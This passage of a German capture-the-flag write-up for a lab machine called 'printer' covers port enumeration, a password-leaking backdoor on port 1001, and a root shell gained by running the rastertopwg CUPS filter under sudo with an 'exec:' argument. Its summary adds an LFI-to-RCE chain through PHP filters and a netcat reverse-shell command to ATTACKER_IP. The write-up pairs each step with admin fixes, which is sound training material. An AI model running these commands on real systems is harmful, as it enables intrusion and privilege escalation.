LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
LISTEN 0 128 0.0.0.0:631 0.0.0.0:*
LISTEN 0 511 *:80 *:*
LISTEN 0 128 [::]:22 [::]:*
Analyse: `ss -atlpn` listet lauschende TCP-Ports auf. Neben den bekannten Ports 22, 80 und 631 wird ein Dienst auf Port 1001 gefunden, der nur auf der Loopback-Adresse (`127.0.0.1`) lauscht.
Bewertung: Ein nur lokal erreichbarer Dienst ist oft für interne Kommunikation oder manchmal eine versteckte Funktion oder Backdoor.
Empfehlung (Pentester): Verbinden Sie sich lokal mit `telnet` oder `nc` zu `127.0.0.1` auf Port 1001, um herauszufinden, was dort lauscht.
Empfehlung (Admin): Überprüfen Sie regelmäßig lauschende Ports, insbesondere solche, die nur lokal gebunden sind. Stellen Sie sicher, dass keine unnötigen oder unsicheren Dienste laufen.
mabelle@printer:~$ telnet 127.0.0.1 1001
I put a backdoor in a printer filter.
Filter name: root
You need to wait at least 60 seconds between attempts.
Analyse: Eine Telnet-Verbindung zu Port 1001 wird hergestellt. Der Dienst antwortet mit einer Nachricht, die explizit eine Backdoor in einem Druckerfilter erwähnt und nach dem Filternamen fragt. Ein Beispiel ("root") wird gegeben, und es gibt eine Wartezeit zwischen Versuchen.
Bewertung: Bestätigung einer Backdoor. Ziel ist es, den korrekten CUPS-Filter-Namen zu erraten oder zu finden, um möglicherweise ein Passwort oder einen anderen Hinweis zu erhalten.
Empfehlung (Pentester): Listen Sie die CUPS-Filter auf (z.B. in `/usr/lib/cups/filter/` oder `/opt/cups-2.3.3/filter/`, wie im Text angedeutet) und probieren Sie die Namen mit diesem Telnet-Dienst aus.
Empfehlung (Admin): Entfernen Sie die Backdoor! Untersuchen Sie, wie sie auf das System gelangt ist. Überprüfen Sie alle CUPS-Filter auf Modifikationen.
mabelle@printer:/opt/cups-2.3.3$ ls -la /opt/cups-2.3.3/filter/
[...] -rw-r--r-- 1 501 staff 24526 Feb 6 19:34 rastertoepson.c -rw-r--r-- 1 root root 104192 Feb 6 19:34 rastertoepson.o -rw-r--r-- 1 501 staff 18977 Feb 6 19:34 rastertohp.c -rw-r--r-- 1 root root 94120 Feb 6 19:34 rastertohp.o -rw-r--r-- 1 501 staff 27170 Feb 6 19:34 rastertolabel.c [...]
Analyse: Der Inhalt eines CUPS-Filter-Verzeichnisses (hier `/opt/cups-2.3.3/filter/`) wird aufgelistet, um mögliche Filternamen für die Backdoor zu finden.
Bewertung: Liefert Kandidaten für die Backdoor-Eingabe.
mabelle@printer:~$ telnet 127.0.0.1 1001
I put a backdoor in a printer filter. Filter name: rastertopwg.c You are awesome! Here is the password: wK4EyQ15Cga Connection closed by foreign host.
Analyse: Erneute Verbindung zum Backdoor-Dienst. Der Filtername `rastertopwg.c` (oder eventuell nur `rastertopwg`) wird eingegeben. Der Dienst antwortet mit einer Erfolgsmeldung und gibt ein Passwort preis: `wK4EyQ15Cga`.
Bewertung: **Passwort gefunden!** Dies ist sehr wahrscheinlich das Passwort für den Benutzer `kierra`.
Empfehlung (Pentester): Verwenden Sie `su kierra` mit diesem Passwort.
Empfehlung (Admin): Backdoor entfernen, Passwort von `kierra` ändern.
mabelle@printer:/opt/cups-2.3.3$ su kierra
Password: wK4EyQ15Cga kierra@printer:/opt/cups-2.3.3$
Analyse: Erfolgreicher Wechsel zum Benutzer `kierra` mit dem über die Backdoor erhaltenen Passwort.
Bewertung: Privilegien von `mabelle` zu `kierra` eskaliert.
Empfehlung (Pentester): Enumerieren Sie als `kierra`. Lesen Sie `user.txt`. Prüfen Sie `sudo -l`.
Empfehlung (Admin): Passwort ändern, Backdoor entfernen.
kierra@printer:/opt/cups-2.3.3$ sudo -l
[sudo] password for kierra: wK4EyQ15Cga Matching Defaults entries for kierra on printer: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin User kierra may run the following commands on printer: (ALL : ALL) /usr/lib/cups/filter/rastertopwg
Analyse: `sudo -l` zeigt, dass `kierra` den CUPS-Filter `/usr/lib/cups/filter/rastertopwg` als jeder Benutzer (`ALL : ALL`), einschließlich `root`, ausführen darf.
Bewertung: **Klarer Pfad zur Root-Eskalation!** Diese `sudo`-Regel ist extrem unsicher, da sie die Ausführung eines potenziell komplexen Programms mit Root-Rechten erlaubt.
Empfehlung (Pentester): Recherchieren Sie, wie der `rastertopwg`-Filter für Command Execution missbraucht werden kann, wenn er mit `sudo` ausgeführt wird. Prüfen Sie GTFOBins. Versuchen Sie, Befehle über Argumente einzuschleusen.
Empfehlung (Admin): **Unsichere sudo-Regel sofort entfernen oder korrigieren!** Erlauben Sie niemals die Ausführung von komplexen Programmen oder Filtern als `ALL:ALL`.
kierra@printer:/opt/cups-2.3.3$ sudo -u root /usr/lib/cups/filter/rastertopwg exec:id
uid=0(root) gid=0(root) groups=0(root)
Usage: rastertopwg job user title copies options [filename]
Analyse: Es wird versucht, die `sudo`-Regel auszunutzen. Der `rastertopwg`-Filter wird als `root` ausgeführt. Als Argument wird `exec:id` übergeben. Interessanterweise wird trotz einer ausgegebenen "Usage"-Meldung der `id`-Befehl ausgeführt und die Ausgabe `uid=0(root)` angezeigt. Dies deutet auf eine undokumentierte oder fehlerhafte Argumentverarbeitung hin, die zur Befehlsausführung führt.
Bewertung: Die Schwachstelle im Filter (oder dessen Aufruf über sudo) wird bestätigt. Befehlsausführung als Root ist möglich.
Empfehlung (Pentester): Nutzen Sie diese Methode, um eine Root-Shell zu erhalten, z.B. mit `exec:/bin/bash -p`.
Empfehlung (Admin): Sudo-Regel beheben. CUPS-Filter untersuchen.
kierra@printer:/opt/cups-2.3.3$ sudo -u root /usr/lib/cups/filter/rastertopwg exec:/bin/bash -p
root@printer:/opt/cups-2.3.3# id
uid=0(root) gid=0(root) groups=0(root)
Analyse: Der `rastertopwg`-Filter wird erneut als `root` ausgeführt, diesmal mit `exec:/bin/bash -p` als Argument. Dies startet erfolgreich eine interaktive Root-Shell (`-p` erhält die Root-Rechte).
Bewertung: **Root-Zugriff erfolgreich erlangt!** Die unsichere `sudo`-Regel und die ausnutzbare Filterfunktion wurden erfolgreich kombiniert.
Empfehlung (Pentester): Ziel erreicht. Holen Sie die Root-Flagge und die User-Flagge.
Empfehlung (Admin): Sudo-Regel beheben.
root@printer:/opt/cups-2.3.3# cd ~
root@printer:~# ls
root_flag.txt
root@printer:~# cat root_flag.txt
052cf26a6e7e33790391c0d869e2e40c
Analyse: Als Root wird ins `/root`-Verzeichnis gewechselt und die Root-Flagge aus `root_flag.txt` gelesen.
Bewertung: Root-Flagge gefunden.
root@printer:~# cat /home/kierra/user.txt
63e2f2ec7e3dbae87afc4e0e86d0867b
Analyse: Als Root wird nun die User-Flagge aus dem Home-Verzeichnis von `kierra` gelesen, was zuvor als `mabelle` nicht möglich war.
Bewertung: User-Flagge gefunden.
Kurzbeschreibung: Auf der Subdomain `printer4life.printer.hmv` wurde in der Datei `index.php` eine Local File Inclusion (LFI)-Schwachstelle im GET-Parameter `page` identifiziert. Die Analyse des Quellcodes (erhalten durch `php://filter/convert.base64-encode/resource=index.php`) zeigte, dass der Parameterwert direkt in eine `include()`-Funktion übergeben wird, wenn keine gleichnamige `.php`-Datei existiert. Diese LFI wurde mittels PHP-Filterketten (generiert durch `php_filter_chain_generator.py`) zu Remote Code Execution (RCE) eskaliert. Eine speziell konstruierte URL ermöglichte die Ausführung beliebiger Befehle über einen zusätzlichen GET-Parameter (`cmd`).
Voraussetzungen: Zugriff auf die Subdomain `printer4life.printer.hmv`, LFI-Schwachstelle im `page`-Parameter, Tool zur Generierung von PHP-Filterketten.
Schritt-für-Schritt-Anleitung: 1. LFI identifizieren: `http://printer4life.printer.hmv/index.php?page=/etc/passwd` zeigt Dateiinhalt. 2. PHP-Filterkette generieren, um `` auszuführen: `python3 php_filter_chain_generator.py --chain ''` -> Erzeugt `CHAIN_URL`. 3. RCE testen: `CHAIN_URL&cmd=id` aufrufen -> Ausgabe `uid=33(www-data)...` erscheint. 4. Reverse Shell starten: Listener aufsetzen (`nc -lvnp 9001`), dann `CHAIN_URL&cmd=nc%20-e%20/bin/bash%20ATTACKER_IP%209001` aufrufen.
Erwartetes Ergebnis: Der Angreifer erhält eine Reverse Shell als Benutzer `www-data`.
Risikobewertung: Hoch. LFI ermöglicht das Auslesen sensibler Daten. Die Eskalation zu RCE ermöglicht die vollständige Übernahme des Webserver-Prozesses und dient als Ausgangspunkt für weitere Angriffe.
Empfehlungen: LFI durch sichere Programmierung (Input-Validierung, Whitelisting) beheben. PHP-Filter und gefährliche Wrapper wenn möglich deaktivieren. Web Application Firewall (WAF) einsetzen.
Kurzbeschreibung: Nach Erlangung von Zugriffsrechten als Benutzer `kierra` (über eine Passwort-Offenlegung in Logs und eine Backdoor auf Port 1001) wurde mittels `sudo -l` festgestellt, dass `kierra` den CUPS-Filter `/usr/lib/cups/filter/rastertopwg` als beliebiger Benutzer, einschließlich `root`, ausführen darf. Dieser Filter weist eine Schwachstelle oder ein undokumentiertes Feature auf, das die Ausführung von Befehlen über speziell formatierte Argumente (`exec:COMMAND`) erlaubt.
Voraussetzungen: Zugriff als Benutzer `kierra`, unsichere `sudo`-Regel für `rastertopwg`.
Schritt-für-Schritt-Anleitung: 1. Als Benutzer `kierra` anmelden. 2. Überprüfen der `sudo`-Rechte: `sudo -l` -> Zeigt `(ALL : ALL) /usr/lib/cups/filter/rastertopwg`. 3. Root-Shell mittels `sudo` und Filter-Exploit erhalten: `sudo -u root /usr/lib/cups/filter/rastertopwg exec:/bin/bash -p`.
Erwartetes Ergebnis: Der Befehl startet eine interaktive Shell mit Root-Rechten.
Risikobewertung: Kritisch. Eine unsichere `sudo`-Regel ermöglicht die direkte Eskalation zu Root-Rechten.
Empfehlungen: Die `sudo`-Regel für `kierra` und `rastertopwg` muss sofort entfernt oder stark eingeschränkt werden (z.B. nur Ausführung als spezifischer, unprivilegierter Benutzer erlauben, falls notwendig). Prinzip der geringsten Rechte anwenden. `sudo`-Regeln regelmäßig überprüfen.